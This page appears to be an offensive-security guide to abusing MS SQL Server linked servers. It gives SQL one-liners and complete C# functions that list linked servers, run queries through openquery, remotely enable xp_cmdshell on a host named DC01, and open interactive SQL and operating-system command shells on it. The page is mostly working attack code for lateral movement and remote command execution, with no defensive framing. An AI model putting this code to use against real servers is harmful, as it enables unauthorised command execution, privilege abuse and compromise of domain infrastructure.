Linked Servers

Overview

MS SQL Server Linked Servers are used to establish a connection between two different SQL Server instances, allowing for distributed queries and data sharing between them.

Discovering linked servers

To discover linked servers:

EXEC sp_linkedservers;

Executing SQL queries on linked server

To execute SQL queries on a Linked Server in MS SQL Server:

select version from openquery("dc01", 'select @@version as version')
select * from openquery("dc01", 'select @@version as version')

C# Example

To execute queries on linked server using C#:

public void sql_shell_linked_server()
{
    #region SQL Shell Linked Server
    Console.WriteLine($"\nExecuting SQL commands on {LinkedServer}");
    SQLQuery = $"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');";
    Command = new SqlCommand(SQLQuery, Instance);
    DataReader = Command.ExecuteReader();
    DataReader.Read();
    Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");
    DataReader.Close();
    Console.WriteLine("[*] Enter 'exit' to return to the main menu");
    while (true)
    {
        Console.Write("sql> ");
        string cmd = Console.ReadLine();
        if (cmd == "exit")
        {
            break;
        } 
        else
        {
            try
            {
                cmd = cmd.Replace("'", "''");
                SQLQuery = $"select * from openquery(\"{LinkedServer}\", '{cmd}')";
                Command = new SqlCommand(SQLQuery, Instance);
                DataReader = Command.ExecuteReader();
                Console.WriteLine();
                DataReaderOutput();
                Console.WriteLine();
                DataReader.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] ERROR: {ex.ToString()}");
            }
        }
    }
    #endregion
}

Enabling xp_cmdshell

Enabling xp_cmdshell on a Linked Server in MS SQL Server can be useful when you need to execute a command on the remote server.

EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT DC01
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT DC01

C# Example

To enable xp_cmdshell on linked server using C#

public void sql_linked_server_enable_xp()
{
    #region SQL Linked Server Enabling xp_cmdshell
    Console.WriteLine($"\nExecuting SQL commands on {LinkedServer}");
    SQLQuery = $"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');";
    Command = new SqlCommand(SQLQuery, Instance);
    DataReader = Command.ExecuteReader();
    DataReader.Read();
    Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");
    DataReader.Close();

    try
    {
        Console.WriteLine($"[*] Trying to enable xp_cmdshell on linked server {LinkedServer}");
        SQLQuery = $"EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT {LinkedServer}";
        Command = new SqlCommand(SQLQuery, Instance);
        DataReader = Command.ExecuteReader();
        DataReader.Close();
        SQLQuery = $"EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT {LinkedServer}";
        Command = new SqlCommand(SQLQuery, Instance);
        DataReader = Command.ExecuteReader();
        DataReader.Close();
    }
    catch (Exception ex)
    {
        Console.WriteLine($"[!] ERROR: {ex.ToString()}");
    }

    Console.WriteLine("[*] Print xp_cmdshell status");
    SQLQuery = $"EXEC ('sp_configure ''xp_cmdshell''') AT {LinkedServer}";
    Command = new SqlCommand(SQLQuery, Instance);
    DataReader = Command.ExecuteReader();
    DataReaderOutput();
    DataReader.Close();
    #endregion
}

Running xp_cmdshell

To execute xp_cmdshell on linked server:

EXEC ('EXEC xp_cmdshell ''{cmd}''') AT DC01

C# Example

Running xp_cmdshell on linked server using C#:

public void os_shell_linked_server()
{
    #region Linked Server OS Shell
    Console.WriteLine($"\nExecuting shell commands on {LinkedServer}");
    SQLQuery = $"SELECT myuser from openquery(\"{LinkedServer}\", 'select SYSTEM_USER as myuser');";
    Command = new SqlCommand(SQLQuery, Instance);
    DataReader = Command.ExecuteReader();
    DataReader.Read();
    Console.WriteLine($"[+] Linked Server user: {DataReader[0].ToString()} on {LinkedServer}");
    DataReader.Close();
    Console.WriteLine("[*] Enter 'exit' to return to the main menu");
    while (true)
    {
        Console.Write("cmd> ");
        string cmd = Console.ReadLine();
        if (cmd == "exit")
        {
            break;
        }
        else
        {
            try
            {
                SQLQuery = $"EXEC ('EXEC xp_cmdshell ''{cmd}''') AT {LinkedServer}";
                Command = new SqlCommand(SQLQuery, Instance);
                DataReader = Command.ExecuteReader();
                while (DataReader.Read())
                {
                    string output = DataReader[0].ToString();
                    Console.WriteLine(output);
                }
                DataReader.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] ERROR: {ex.ToString()}");
                break;
            }

        }
    }
    #endregion
}